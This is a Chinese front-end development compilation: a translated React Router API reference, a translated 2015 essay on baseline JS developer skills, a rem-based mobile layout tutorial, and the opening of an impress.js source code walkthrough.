这就是React Router的核心，应用的UI组件是层层嵌套的。现在我们可以让这些嵌套的UI组件和URL规则保持同步了。

Route 配置

DefaultRoute

一个RefaultRoute 是一个已匹配父组件会默认展示的子组件。
你期望在没有子组件被匹配的时候一个子RouterHandler总是能够渲染到页面。

Props
handle
RouterHandler 是你需要渲染到页面的匹配规则的组件
name (可选)  
当你使用linking 和 transitioning 的路由名字

举例

<Route path="/" handler={App}>

  <!--
    When the url is `/`, this route will be active. In other
    words, `Home` will be the `<RouteHandler/>` in `App`.
  -->
  <DefaultRoute handler={Home}/>

  <Route name="about" handler={About}/>
  <Route name="users" handler={Users}>
    <Route name="user" handler={User} path="/user/:id"/>

    <!-- when the url is `/users`, this will be active -->
    <DefaultRoute name="users-index" handler={UsersIndex}/>

  </Route>
</Route>

NotFoundRoute

NotFoundRoute 会在父组件匹配成功但没有一个同级组件被匹配的时候会被激活。
你可以使用它来处理不合法的链接。

提示
NotFoundRoute不是针对当资源没有被找到而设计的。路由没有匹配到特定的URL和通过一个合法的URL没有查找到资源是有却别的。url course/123 是一个合法的url并能够匹配到对应的路由，所以它是找到了的意思。但是通过123 去匹配资源的时候却没有找到，这个时候我们并不像跳转到一个新的路由，我们可以设置不同的状态来选软不同的UI组件，而不是通过NotFoundRoute 来解决。

props

handler
RouterHandler 是你需要渲染到页面的匹配规则的组件

举例

<Route path="/" handler={App}>
  <Route name="course" path="course/:courseId" handler={Course}>
    <Route name="course-dashboard" path="dashboard" handler={Dashboard}/>

    <!-- ie: `/course/123/foo` -->
    <NotFoundRoute handler={CourseRouteNotFound} />
  </Route>

  <!-- ie: `/flkjasdf` -->
  <NotFoundRoute handler={NotFound} />
</Route>


最后一个 NotFoundRoute 将会渲染到 APP 内。 第一个将会被渲染到Course 内。

Redirect

Recirect 可以跳转到另外一个路由中。

props

from
你想开始redirect的地址，包括一些动态的地址。默认为* ,这样任何匹配不到路由规则的情况多回被重定向到另外一个地方。
to
你想要重定向到得路由名字。
params
默认情况下，这些参数将会自动传递到新的路由，你也可以指定他们，特别是你不需要的时候。
query
和params一样

举例

<!--
  lets say we want to change from `/profile/123` to `/about/123`
  and redirect `/get-in-touch` to `/contact`
-->
<Route handler={App}>
  <Route name="contact" handler={Contact}/>
  <Route name="about-user" path="about/:userId" handler={UserProfile}/>
  <Route name="course" path="course/:courseId">
    <Route name="course-dashboard" path="dashboard" handler={Dashboard}/>
    <Route name="course-assignments" path="assignments" handler={Assignments}/>
  </Route>

  <!-- `/get-in-touch` -> `/contact` -->
  <Redirect from="get-in-touch" to="contact" />

  <!-- `/profile/123` -> `/about/123` -->
  <Redirect from="profile/:userId" to="about-user" />

  <!-- `/profile/me` -> `/about-user/123` -->
  <Redirect from="profile/me" to="about-user" params={{userId: SESSION.USER_ID}} />
</Route>


<Redirect> 能够被放置到路由的任何层级。如果你选择把它放在路由某一层级的下方，那么from路径也会匹配到它上层的路径。

Route

Route 用于声明式地映射路由规则到你多层嵌套的应用组件。
props
name(可选)
name 在路由中是唯一的，被使用在 Link 组件和路由转换的方法中。
path(optional)
在url中使用的路径，如果不填写的话，路径就是name，如果name也没有的话，默认就是 /.
handler
当路由被匹配的时候会被 RouteHander 渲染的组件。
children
路由是可以嵌套的，如果子路由的路径被匹配，那么父路由也处于激活状态。

ignoreScrollBehavior
当路由或者路由的params 改变的时候，路由会根据scrollBehavior 来调整页面滚动条的位置。但是 你也可以不选择这项功能，特别是在一些搜索页面或者是 tab切换的页面。

Top-Level

Router.create

创建一个新的路由。

Signature
Router.create(options) 

Options
routes

location

scrollBehavior

onAbort
Used server-side to know when a route was redirected.

Method
run(callback) 
启动路由，和Router.run 一样

举例

// the more common API is
Router.run(routes, Router.HistoryLocation, callback);

// which is just a shortcut for
var router = Router.create({
  routes: routes,
  location: Router.HistoryLocation
});

router.run(callback);


Router.run

The main API into react router. It runs your routes, matching them against a location, and then calls back with the next state for you to render.

signature

Router.run(routes,[location,],callback)
参数
routes
location (可选)
默认值是Router.HashLocation 如果你设置了Location 那么它的改变会被监听。如果你设置了一个字符路劲，那么路由会立即匹配并执行回调函数。

举例

// Defaults to `Router.HashLocation`
// callback is called whenever the hash changes
Router.run(routes, callback);

// HTML5 History
// callback is called when history events happen
Router.run(routes, Router.HistoryLocation, callback);

// Server rendering
// callback is called once, immediately.
Router.run(routes, '/some/path', callback);

callback(Root,state)
回调函数接收两个参数
1、 Root
2、 state

Root
是一个包含了所有匹配组件的一个组件，它用来渲染你的组件。
state
一个包含了匹配状态的对象。
state.path
带有查询参数的当前URL
state.action
一个触发路由改变的操作
state.pathname
不带查询参数的URL
state.params
当前被激活路由匹配路径对应的参数 如 /:id 对应的id值.

state.query
 当前被激活路由匹配路径对应的查询参数
state.routes
包含了匹配路由的数组，在组件渲染之前获取数据会显得很有帮助。
可以查看 example   async-data

举例

基本用法

javascript
Router.run(routes, function (Root) {
  // whenever the url changes, this callback is called again
  React.render(<Root/>, document.body);
});

var resolveHash = require('when/keys').all;

var SampleHandler = React.createClass({
  statics: {

// this is going to be called in the `run` callback
fetchData: function (params) {
  return fetchStuff(params);
}

},
  // ...
});

Router.run(routes, Router.HistoryLocation, function (Root, state) {

// create the promises hash
  var promises = state.routes.filter(function (route) {

// gather up the handlers that have a static `fetchData` method
return route.handler.fetchData;

}).reduce(function (promises, route) {

// reduce to a hash of `key:promise`
promises[route.name] = route.handler.fetchData(state.params);
return promises;

}, {});

resolveHash(promises).then(function (data) {

// wait until we have data to render, the old screen stays up until
// we render
React.render(<Root data={data}/>, document.body);

});
});

something.serve(function (req, res) {
  Router.run(routes, req.path, function (Root, state) {

// could fetch data like in the previous example
fetchData(state.matches).then(function (data) {
  var html = React.renderToString(<Root data={data} />);
  res.send(html);
});

});
});


#Components

##Link
用于在应用程序中导航的一种主要方式。``Link``将会渲染出标签属性href 变得容易被理解。
当``Link``定位的路由被激活的时候自动 显示为 定义的 ``activeClassName`` 和/或者
``activeStyle`` 定义的样式。

**Props**
``to``
要被定位到的路由名字，或者是完整的路径

``params``

包含了名字/值的对象，和路由地址的动态段对应一致。

``query``

一个包含名字/值 的对象，它会成为地址中的查询参数

**举例**


// given a route config like this
<Route name="user" path="/users/:userId"/>

// create a link with this
<Link to="user" params={{userId: "123"}}/>

// though, if your user properties match up to the dynamic segements:
<Link to="user" params={user}/>


``query``

一个包装成javascript对象的字符串查询参数

``activeClassName``

当路由被激活是 ``Link`` 接收的 className,默认值为 ``active``

``activeStyle ``

当路由被激活是链接元素 展示的style样式。

``onClick``

对点击时间的常规处理，仅仅在标签``<a>`` 上起效。调用 ``e.preventDefault`` 或者是返回false 将会阻止阻止事件发射。通过 ``e.stopPropagation()`` 将会阻止时间冒泡。

**others**

你也可以在<a>上传递 props，例如 title,id , className 等。

**举例**

提供一个形式像 ``<Router name="user" path="/user/:userid" />:`` 这样的路由


<Link to="user" params={{userId: user.id}} query={{foo: bar}}>{user.name}</Link>
<!-- becomes one of these depending on your router and if the route is
active -->
Michael
Michael

<!-- or if you have the full url already, you can just pass that in -->
<Link to="/users/123?foo=bar">{user.name}</Link>

<!-- change the activeClassName -->
<Link activeClassName="current" to="user" params={{userId: user.id}}>{user.name}</Link>

<!-- change style when link is active -->
<Link style={{color: 'white'}} activeStyle={{color: 'red'}} to="user" params={{userId: user.id}} query={{foo: bar}}>{user.name}</Link>


##Root
React router 创建的应用顶层组件。

**举例**

Router.run(routes, (Root) => {
  React.render(<Root/>, document.body);
});

**说明**
当前路由的实例和 ``Root`` 一致。


var MyRouter = Router.create({ routes });

MyRouter.run((Root) => {
  Root === MyRouter; // true
});

当前这仅仅是一个实现的细节，我们会逐步将它设计成一个公共的API。


##Route Handler
用户定义的一个组件，作为传递给``Routes`` 的一个 ``handler`` 属性。 路由会在你通过 ``RouterHandler`` 渲染组件的时候给你注入一些属性值。同时在路由转换的时候调用一些生命周期的静态方法。

**注入的属性**

``params``

url 中的动态段。

``query``

url中的查询参数

``path``

完整的url 路劲

**举例**


// given a route like this:
<Route path="/course/:courseId/students" handler={Students}/>

// and a url like this:
"/course/123/students?sort=name"

var Students = React.createClass({
  render () {

this.props.params.courseId; // "123"
this.props.query.sort; // "name"
this.props.path; // "/course/123/students?sort=name"
// ...

}
});


**静态的生命周期方法**

你可以定义一些在路由转换时会调用的静态方法到你的路由handler 对应的组件中。

``willTransitionTo(transition,params,query,callback)``

当一个handler 将要被渲染的时候被调用。为你提供了中断或者是重定向的机会。你可以在异步调用的时候暂停转换，在完成之后可以调用``callback(error)``  方法。或者在参数列表中省略callback。

``willTranstionFrom(transition,component,callback)``

当一个被激活路由将要跳出的时候给你提供了中断跳出的方法。``component`` 是当前的组件。你可能需要检查一下 state 的状态来决定是否需要跳出。

**关于 ``callback`` 的参数**

 如果你在参数列表中添加了callback，你需要在最后的时候调用它，即使你使用的是重定向。

**举例**


var Settings = React.createClass({
  statics: {

willTransitionTo: function (transition, params, query, callback) {
  auth.isLoggedIn((isLoggedIn) => {
    transition.abort();
    callback();
  });
},

willTransitionFrom: function (transition, component) {
  if (component.formHasUnsavedData()) {
    if (!confirm('You have unsaved information,'+
                 'are you sure you want to leave this page?')) {
      transition.abort();
    }
  }
}

}

//...
});


 [ 学习路线 ] 2015 前端(JS)工程师必知必会 (2)

作者：kraaas

来源： [ 学习路线 ] 2015 前端(JS)工程师必知必会 (2)



                    

  转自：前端外刊评论

  非常感谢，翻译的很好，受益很多，转到此处让前端小伙伴们也惊呆下........




上次我写《前端工程师必知必会》已经是三年前了，那是我写过最火的文章了。三年了，我仍然会在Twitter上收到关于这篇文章的消息。


从2012年到现在，一篇文章都没发过让我觉得有点羞羞哒。三年是一段很长的时间，很多东西都发生了改变。2012年，我鼓励同学们去学习浏览器开发者工具和模块化；虽然有很多同学会觉得CSS预编译和客户端模板引擎并不靠谱，但我仍然想要说一说它们；还有JSHint，虽然有#getoffmylawn（滚出我的地盘）的警告，但依然无法阻止JSHint成为一个受欢迎的理念（准确的说，JSLint真的（只是）存在过）。


已经是2015年了，我想写一篇新的，但是当我坐下来开始动笔的时候，想到了两个事情。一，这些东西被称作“必知必会”可能有人会觉得不太公平——如果你已经觉得2012年的那篇文章如此，那本文也是一样的了。也许有同学会说，我们应该把 “足够应付业务需求的技能” 作为 “前端必须掌握的知识”，但考虑到前端行业里也有各种各样的工作可供选择，这么做也只能得到一个并不适合所有人的 “前端基础知识”。对于我来说，我需要的不是工作，我想要的是被邀请去做一份牛逼的工作。我想要的不只是去干活而已，而是想和一群牛逼的人一起做牛逼的事。我不想仅仅满足于用已有的知识来完成现在的工作，而是希望掌握更多的知识来解决未来将会面对的问题。


第二，我现在已经完全把Javascript作为我的核心了：CSS知识只有在必须关注性能问题时才会用到，其他场景已经用的越来越少。我知道有很多牛逼的前端同学并不是这样的，但我也意识到，关注JS的同学和关注CSS的同学之间的距离也越来越远。这可能需要在另起一篇文章来讨论，不过我想说的是，这篇文章中不会有介绍CSS技能标准的内容，因为我还远远没有达到能那么做的水平。


总之，就算这个技能列表并不适合你的前端工作，没关系，不要有压力，地球也不会爆炸。


Javascript


回想2009年，那时候当你知道 HTML5 在2014年才能用的时候，你是不是觉得这辈子基本上都用不到它了？如果是，那么你需要准备好接受进展缓慢但是已经趋于稳定的ES6了，它也是下一代的Javascript（现在叫 ES2015 了，嗯，这名字至少表示今年就能用了）。就我而言，ES6，额，ES2015 无疑是我个人现在最关注的 Javascript 内容。在 ES6 中将会出现一些比较大的变化：类，真正的私有，经过改进更易用的函数和参数设定，可导入的模块，等等等等。那些掌握和理解新的语法的同学以后将会在 JS 社区牛逼闪闪。相关阅读：



	
Understanding ES6，Nicholas Zakas 正在写的书。

	BabelJS，一个可以把你写的 ES6 的代码编译成 ES5 并在现代浏览器中运行的工具。他们也有一个不错的介绍 ES6 的文档。

	
ES6 Rocks，里面有大量的文章探索 ES6 的特性，语义和缺陷。



你也许会问：那我需要成为一个 ES6 专家么？也许现在不需要，但至少你得和你的同事懂的一样多吧？或者比他们稍微多一点？当然，如果能在你的下一个新项目中作为一个娱乐性的技术尝试也是不错的，做好准备肯定没错的，因为我们永远不知道下一刻会发生什么。


先不说新的语言特性，使用回调和 promises 管理异步 Javascript 至少得背的滚瓜烂熟吧。浏览器端应用加载，以及应用间通信策略得形成一套自己的观点吧。而且你应该知道哪种框架最适合你，而不是现在还把时间花在理解各种框架的实现原理和该选择哪种框架上。


模块化和构建工具


毫无疑问，模块化是构建 Web 客户端应用的基石。回到2012年，关于使用哪种模块化（AMD/CommonJS）方案构建浏览器端应用还存在很多争论。而最近慢慢火起来的 UMD 则在保证代码可复用的前提下尝试避免这样的问题。 其实也没什么好争得，毕竟这俩玩意儿之间也就差几个字符吧？


我觉得类似这样的争论其实并不都需要有一个答案，这也是我觉得从2012年到现在我们发生的最大的转变，当然，也许只是我自己这么认为。因为我觉得与其说“我再也不用 AMD 了”之类的话，倒不如多去讨论 “在开发和打包过程中使用 CommonJS 和 npm 遇到的各种难题” 来的更有价值。


虽然很感激 RequireJS 曾经对模块化做出的贡献，不过现在我开始有点迷恋 webpack 了。 webpack 的构建配置比 RequireJS 更加易于理解，也更具访问性。通过它的热插拔特性和内置的本地静态服务器可以让发布更加便捷。它并不强制要求使用 AMD 或者 CommonJS – 两个它都支持。它还实现了一大堆加载器，用来完成常见的繁琐工作。 Browserify 也值得去了解一下，不过我个人认为它比 Webpack 落后很多。一些靠谱的朋友告诉我说 systemjs 也是这个领域的竞争者，不过我还没有用过，而且它的文档烂的我连看都不想看。不过我觉得它的好基友 jspm (包管理器)比较有趣，jspm 可以让你从各种包管理服务器加载你需要的各种组件，(组件必须是符合 ES6, AMD, CommonJS and globals 规范的)，包括 npm, github 等，但是我对于这两个玩意的合体还是有点不太理解。啊，还有，虽然我说了这么多关于模块化之外的内容，但我从来没想过放弃 AMD，我们边走边看吧。


我觉得如果要停止对模块化和构建工具的争论，形成统一的模块化系统，并且在这个系统里面，任何项目的代码都可以共享，而且还不需要 UMD 这样额外的补丁工具，我们还有很长的路要走。理想状况下，ES6 modules 的到来会解决这些问题，不过在这一天到来之前，类似 UMD 之类的转换器会填补这些空缺，不过貌似这样做我们又把事情变得复杂了，好像我们也总喜欢把事情弄得复杂。


与此同时，前端开发人员也需要对构建工具，各种模块化系统有自己的见解和知识储备。不管是好是坏，根据 Javascript 现在的进度，你的模块化策略会对你的项目有比较大的影响。


测试


客户端的代码测试变得越来越普遍，最近也诞生了一些新的测试框架： Karma，Intern 。我发现基于 promise 的 Intern 的异步测试方法相当优雅。不过可能是因为习惯，我大多数情况下还是用 Mocha 写测试用例。


测试的主要障碍其实是前端开发者的代码编写方式。我在2012年发表过一个关于《编写可测试的Javascript》下载地址的演讲，紧接着几个月后又发表了一篇相关的文章。


测试的第二大障碍是工具。Webdriver 是一个艰难而巨大的工作。目前在各个浏览器端做持续集成的 UI 自动化测试基本上是不可能的，更不用说移动端了。我们仍然停留在局限于某一小部分浏览器和设备上做轻量级的自动化功能测试，尽我们所能去研究怎样快速，低成本的进行这种测试的阶段。


如果你对如何改进代码的可测试性感兴趣的话，那么唯一一本最值得看的书是 Working Effectively with Legacy Code （中译版：《修改代码的艺术》。作者 Michael Feathers 定义了“遗留代码”的概念：任何未经测试的代码都是遗留代码。在测试领域，最基本的要素就是上面这句话，尽管你可能不这么认为。


流程自动化


你首先会想到 Grunt，这也是理所当然的。而 Gulp 和 Broccoli 的自动化构建方式也别具匠心。我没用过Broccoli，只玩过Gulp，我也开始意识到Grunt对于依赖其他服务的复杂任务的自动化工作存在局限性，尤其是当这种任务每天需要运行上千次的时候。


Yeoman是在我写完2012年的那篇文章仅仅45天之后发布的，我承认当时我并没有及时去尝试一下。不过最近我开始启动一些新项目，这些新项目有两个特点
a) 这些项目都是从零开始
b) 尝试用一些不同的技术方案，试图通过这种方式找到 Bazaarvoice（提供第三方点评服务）上第三方 JS 应用的规范化的开发方式。
Yeoman 在这两方面做的都很好。一个简单的 yo react-webpack 命令就可以为你初始化好你的项目，然后各种你想要的玩具也都应有尽有：生成测试用例，本地静态服务器，hello world 入门程序，等等等等。如果 React 和 webpack 不是你想要的，也许你会在 Yeoman 的 generators（项目生成器）里面找到一个你想要的，当然，自己自定义一个这样的构建包也是比较容易的。


鉴于 Yeoman 只是一个在项目开始时才会用到的构建工具，并且鉴于我们并不是总是做新项目，所以大多情况下了解一下就够了。除非，你也想去规范整个项目开发过程，那么它可能会更有价值一点。


Broccoli 已经得到了 ember-cli 的采纳，我觉得他们的配对可能会有一个新名字，这样在未来才比较方便和 Grunt /Yeoman 对抗。而 Grunt 和 Yeoman 的开发进度也放缓了，所以未来会发生什么，我们还是静观其变吧。


代码质量


如果你像我一样，一看见违反代码规范的代码时就开始抓狂，那么 JSCS 和
ESLint 就是老天赐给你的礼物，而2012压根就没这些玩意。他们都提供了自定义代码规范的方式，并且可以在代码提交前对你的代码做自动化校验。这让我想起了…


Git


从2012年到现在，github 的使用流程并没有发生很大的变化，比如在 pull request 页面连个分支名都没有（只是恶搞一下）。


你应该非常清楚和流畅地使用功能分支（feature branches）, 使用 rebase 合并别人的代码干活，使用交互式 rebase 命令和 squash 合并提交记录，或者尽可能细颗粒度的划分项目内容，避免引起代码冲突。另一个可用的 Git 工具是钩子，具体而言，就是你可以在 push 前，commit 前，执行你的各种测试用例，检查代码质量。你可以自己写钩子，也可以使用 ghooks ，由于 ghooks 使钩子工作变得非常简单，所以你简直没有理由不用它。


客户端模板


这可能是我在2012年的那篇文章中写的最烂的内容了，某种意义上的“烂”。客户端模板还是很有价值的，而且它已经被内置到 ES2015 里面了，这不仅仅只是一件好事而已。这些年也有一些惨重的教训，不少团队把所有的渲染工作全部丢到浏览器端去做，结果产生了严重的性能问题，所以 “在浏览器端渲染生成所有 HTML” 的做法理所当然的被摒弃了。 而更为聪明的做法则是，把 HTML 生成放在服务器端，或者通过预编译的方式，先将模板做为静态资源储存起来，在需要时快速的编译成 HTML，需要更新时也可以直接在客户端更新模板。


这里会有一些新的展望，不仅是对我自己，也是对所有人，当你在考虑性能问题时，也许没必要把自己完全限定在浏览器范围内。所以，这又让我想起了……


Node


听说你懂 Javascript，那么我觉得你也应该懂 Node，至少在遇到 Node 问题是能帮得上忙的，如果连忙都帮不上，那也至少深入研究一下吧：Node 的文件系统，流，服务器，完全不同于前端的一些开发模式等等。对后端敬而远之只会限制我们前端的发展潜力。


即使你的真实生产环境中后端不用 Node，当你的工作被后端限制或阻碍的时候，Node 也是一个非常有用的工具。最起码，你也应该熟悉怎么去初始化一个 Node 项目，怎么用 Express 搭建服务器设置路由，怎么使用请求模块代理请求。


最后


感谢 Paul, Alex, Adam, Ralph 对本文的 Review，感谢他们毫不吝啬的指出我的不足之处，并给我提了很好的意见。


就这样，祝你好运。也许，三年之后我们会再见。


原文链接: A Baseline for Front-End ‘JS’ Developers: 2015
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来源： 移动端web app自适应布局探索与总结



                    
1、困扰多时的问题

在这之前做web app开发的的时候，在自适应方面一般都是宽度通过百分比，高度以iPhone6跟iPhone5之间的一个平衡值写死，我们的设计稿都是iPhone5的640 * 1136标准，所以高度一般取个大概值，各种图标的宽高也是取平衡值写死，然后部分样式通过媒体查询来设置，例如背景图的多倍图、基础字体大小、图标宽高。


这样做的弊端很明显：


	做出来的页面在各种手机端看起来的物理大小（高度）是一样的，所以在大屏手机会觉得页面稍小，小屏手机页面稍大


	如果要使高度能更好的适应各种手机屏幕，需要写太多的媒体查询样式，效率低下


	全屏背景图片跟页面元素需要耦合时，元素位置的确定尤为困难（可能需要通过百分比去确定元素的横向位置，但始终会有误差）


	...






最近在微博上看到流云诸葛总结的一篇文章《从网易与淘宝的font-size思考前端设计稿与工作流》，其中介绍到的几种web app适配方案，我们现在的做法恰好是跟拉勾网类似的简单方案，当然就会有上面我提到的一些问题，最后经过预研和demo测试，我们采取了网易跟淘宝的方案，其实这两者的方案是大同小异，都是基于rem的适配方案。

2、解决问题的方案

网易跟淘宝的方案介绍在上面流云诸葛的文章中已经写的很清楚了，建议可以先看看那篇文章再阅读下面我所说的，可能会更加清晰。

（1）方案的简单介绍: 基于rem

前提：页面元素的布局尺寸全都以设计稿为基准等比例设置。



给html根节点设置一个基础font-size值，然后页面的所有元素布局均相对于该font-size值采用rem单位设定。那么基础的font-size值该如何取呢？

假如通过媒体查询设置font-size，只能解决一部分的情况，而且并不能完成适配，因为手机屏幕宽度类型实在太多了，所以font-size的取值要通过js计算，取当前viewport的deviceWidth与设计稿的宽 的 比例值，例如：我们的设计稿尺寸都是640px的，iphone5的deviceWidth是320px，那么计算出来的font-size值就是 320 / 640 = 0.5，因为得出的font-size太小，不方便计算，且有的浏览器可能不兼容太小字号，所以将font-size放大100倍，所以最终计算出来的font-size为 320 / 640 * 100 = 50(px); 当然，这个值是根据设计稿来计算的，所以根据计算规则，下面列出几种常见设计稿相应的font-size值：

deviceWidth = 320，font-size = 320 / 6.4 = 50px
deviceWidth = 375，font-size = 375 / 6.4 = 58.59375px
deviceWidth = 414，font-size = 414 / 6.4 = 64.6875px
deviceWidth = 500，font-size = 500 / 6.4 = 78.125px



可在script标签加上如下代码

(function () {
    document.addEventListener('DOMContentLoaded', function () {
        var html = document.documentElement;
        var windowWidth = html.clientWidth;
        html.style.fontSize = windowWidth / 6.4 + 'px';
        // 等价于html.style.fontSize = windowWidth / 640 * 100 + 'px';
    }, false);
})();

// 这个6.4就是根据设计稿的横向宽度来确定的，假如你的设计稿是750
// 那么 html.style.fontSize = windowWidth / 7.5 + 'px';

至此，font-size的基础值就确定好了，而且知道该font-size值是手机deviceWidth跟设计稿的比例值 的 100倍（重要）

（2）那么页面元素该如何设置宽高、边距...

例如：一个设计稿宽高为140px的图标，左边距为50px，那么它的css应该这样写

.icon {
    width: 1.4rem; /* 像素换算rem：140px / 100 = 1.4rem */
    height: 1.4rem;
    margin: 0 0 0 .5rem;
}

因为html的font-size是放大了100倍，所以计算rem时，要用设计稿的实际像素除以100，140px / 100 = 1.4rem; 最后实际的像素大小就会由deviceWidth跟设计稿的横向宽 的 比例 自动计算出来。

如图iPhone5下面的效果：


iphone6的效果：


可以看出来：html的font-size动态根据deviceWidth改变，图标的宽高、边距等也根据font-size动态按比例变化，大功告成了？不对，相信机智的你已经看到貌似在iPhone6的下有的图标背景错位了。。是的，这暴露出了一个背景使用雪碧图的一个弊端（由于font-size小数点太多，计算出实际背景图大小background-size跟背景图位置background-position时浏览器精度不够可能就会出现位置的偏差（我猜的），这个后面还会详细讲解决方案）

到这里，设置宽高、边距等都OK了，接下来...

（3）其他元素的字体大小该如何设置？

在流云诸葛的文章中讲到，网易跟淘宝的做法都是使用额外的媒体查询设置几种字体大小，例如：

@media screen and (max-width: 320px) {
    body{font-size: 14px;}
}
@media screen and (min-width: 321px) and (max-width: 413px) {
    body{font-size: 16px;}
}
@media screen and (min-width: 414px) and (max-width: 639px) {
    body{font-size: 17px;}
}
@media screen and (min-width: 640px) {
    body{font-size: 18px;}
}

可为什么不用rem呢？后来去查了一番资料，发现有一种叫做点阵字体的存在（什么是点阵字体），也叫作位图字体，位图我们都知道，跟矢量图是有区别的，就是放大会模糊，所以点阵字体也是放大会模糊的，如果根据rem设置字体大小，字体会自由缩放，可能就会导致点阵字体模糊，所以需要设定使用几种固定大小的字体。不过，在正常情况下，系统自带的字体都是矢量字体，所以使用rem为单位是没有问题的，除非你的网页需要用到特殊的点阵字体。

总结：如果网页没有用到特殊的点阵字体，字体单位使用rem，如果用到了点阵字体，字体需要通过媒体查询设置几种固定大小的字体



（4）关于背景图片的错位问题

上面已经发现了，通过换算rem设置background-size跟background-position的时候，在一些手机型号下会出现背景图错位的情况，可是如果不用rem设置的话，又不能达到适配的目的。（background-size、background-position的rem换算方法跟前面讲的宽高设定一样，都是设计稿尺寸（这时应该是雪碧图的原始尺寸）除以100倍）

最后经过尝试，得出了几种解决方案：
1、如图（推荐方案）：


图标的样式

.icon {
    width: 1.4rem;
    height: 1.4rem;
    background-image: url(sprite.png);
    background-repeat: no-repeat;
    background-size: 1.4rem;
}

.icon3 {
    background-position: 0 -2.8rem;
}

解决方法，如图：




代码如下：

.icon-fix {
    background: none;
    position: relative;
    overflow: hidden;
}

.icon-fix:after {
    content: '';
    display: block;
    width: 10000%;
    height: 10000%;
    position: absolute;
    left: 0;
    top: 0;
    background-image: url(sprite.png);
    background-repeat: no-repeat;
    background-size: 140rem;
    -webkit-transform-origin: 0 0;
    -webkit-transform: scale(.01);
    transform-origin: 0 0;
    transform: scale(.01);
}

.icon3:after {
    background-position: 0 -280rem;
}

所有相关代码 传送门

2、不使用雪碧图，使用单个背景图，这个时候就不存在background-position的需要，只需设定background-size: contain;即可，这样做的弊端就在于无法使用雪碧图，图片请求增多，适用于页面图标较少的情况

3、使用嵌套img标签，通过绝对定位模拟background-position，具体请看 responsive-sprites，这种做法需要更多的标签，且img图片只能放图标尺寸大小一样的雪碧图，而且不能通过媒体查询使用多倍图

以上3中解决方案第一种最优，当然有些特殊情况可能需要按需选择！

最后发现一篇研究rem产生小数点像素的问题的文章，感兴趣的可戳 《rem 产生的小数像素问题》

3、写在最后

关于web app的探索之路还很长，以上纯粹个人在学习过程的一些探索和研究，肯定会有不足和错漏的地方，只有在不断的实践中去修正。如果大家发现其中有错或不好的地方，欢迎提出共同研究，也欢迎大家有更好的方案可以跟我分享研究！

感谢你的阅读！


 impress.js 源码分析

作者：pomelo

来源： impress.js 源码分析



                    
前言


之前做简历用到了impress.js，就像网页版的preiz，简直酷炫！贴上我的简历地址：可是没想到昨天师兄内推我说需要看懂impress.js源码，这样才能体现你学习钻研的精神。orz。。真是挖个坑坑把自己埋了==。


之前做的时候只知道impress用transition的data-x，data-y，data-z进行3D移动。但是昨晚硬着头皮把impress源码读完之后，发现收获还是挺多的。废话就不说了。我们开始剖析impress.js之旅


一. impress.js整体的设计思想是什么？


这里和大家分享一个我个人分析问题的小技巧。（我是前端菜鸟，真正学习时间也不到3个月时间，有说错的地方还请大家多多指正） 这个技巧就是用浏览器自带的审查元素功能。我们打开impress官网的demo.我们通过审查元素，发现每次变化的过程中





1.发现一个ppt从左滑动到右边 对应的translate3d(0px,1500px,0px)变化到translate3d(-1000px,1500px,0px)

说明整个ppt的变化是通过translate3d（）这个css3属性完成的。


2.我们打开index.html页面源码，发现div上只有如下的代码


<div id="bored" class="step slide" data-x="-1000" data-y="-1500" style="background-color:#ddd;">
.....
</div>



说明我们查看最终效果的div style是js动态添加的。


3.style上有哪些属性呢？


定位：position: absolute;top: 50%; left: 50%;
变化圆心：transform-origin: left top 0px;
移动translate：transition: all 0ms ease-in-out 0ms;

        -webkit-transition: all 0ms ease-in-out 0ms;
3d变化样式：transform-style: preserve-3d; //子元素保留其3d位置
变化的透视样式：transform: perspective(14797.6878612717px)//可以近大   远小的效果
缩放：scale(0.067578125);


也就是说明这些是impress.js能实线prezi绚丽ppt效果的核心css，也都是css3新增的属性，推荐大家在慕课网上温习一遍   十天精通CSS3


4.我们在index.html页面中可以看到有data-x，data-y，data-z等属性。而我们一般做impress的时候就是只改变这些参数来达到变换的目的，在上文中我们通过浏览器的调试已经发现了这些参数和最终加载在div上的style样式是有关系的。

即data-x对应为translateX；data-y对应translateY；data-z对应translateZ


5.我们可以很”肤浅“得出结论：impress的水平移动是改变了translateX坐标，垂直移动是改变translateY坐标，而突然变小又变大的绚丽效果是改变translateZ的坐标。而这些转化样式，事件监听是通过js来实现的。


二. impress.js具体的技术实现?



  1.源码阅读从data-* 属性入手




这个是html5新增api。目的是可以用户自定义数据，定义好的数据又是怎样被拿出来的呢，通过dataset（）的方法。我们来看一段源码（line307）


var data = el.dataset, //el是通过getElememtById（）获得的元素
            step = {   //定义了一个step对象。里面有4个属性，分别是咱们上文分析过的impress变化相关的css样式。
                translate: {
                    x: toNumber(data.x),
                    y: toNumber(data.y),
                    z: toNumber(data.z)
                },//toNumber（）是一个函数。将参数转换成数字，如果无法转换返回默认值
                rotate: {
                    x: toNumber(data.rotateX),
                    y: toNumber(data.rotateY),
                    z: toNumber(data.rotateZ || data.rotate)
                },
                scale: toNumber(data.scale, 1),
                el: el
            };



大家可以在浏览器的console处调试这段代码，你会发现 元素的dataset 得到的是一个数组，我们便可以依次取出x，y，z值。这就是为什么我们可以通过写data-x最终能够影响translateX，最终能够得到水平方向上移动的效果



  2.源码的整体代码架构




看到第一个data属性案例，大家肯定觉得源码这么简单～肯定开始从github/impress.js上clone下代码，准备自己去解读源码。哈哈哈，如果你和我一样之前没有任何阅读js源码的经验的话，估计你会被虐哭的，因为源码第一行pfx（）函数就够你研究半天的。所以我们必须理清一下思路，一个好的程序一定是有它的书写规范和架构。

首先源码line1-line174都在写通用函数。如果你直接研究的话会感觉莫名奇妙

那么我们大致来看一下这些通用函数都是什么功能


pfx（）-----它通过检测浏览器给css3属性加上当前浏览器可用的前缀，这样就不用人工手写'Webkit" ,"Moz" 'O' ,'ms' .'Khtml'等浏览器前缀
arrayify（） ----将Array-Like对象转换成Array对象
css（）------将指定属性应用到指定元素上
toNumber（）----- 将参数转换成数字，如果无法转换返回默认值
byId（）-------通过id获取元素
$（）---- 返回满足选择器的第一个元素
$$（）------- 返回满足选择器的所有元素
triggerEvent（）------- 在指定元素上触发指定事件
translate（）------- 将translate对象转换成css使用的字符串
rotate（）--------- 将rotate对象转换成css使用的字符串
scale（）------- 将scale对象转换成css使用的字符串
perspective（）------ 将perspective对象转换成css使用的字符串
getElementFromHash（）---- 根据hash来获取元素，hash就是URL中形如#step1的东西
computeWindowScale（）---- 根据当前窗口尺寸计算scale。用于放大和缩小



这里必须给impress.js的作者点个赞！文档写的太仔细了，很多时候你看不懂代码，但是看看注释就懂了～

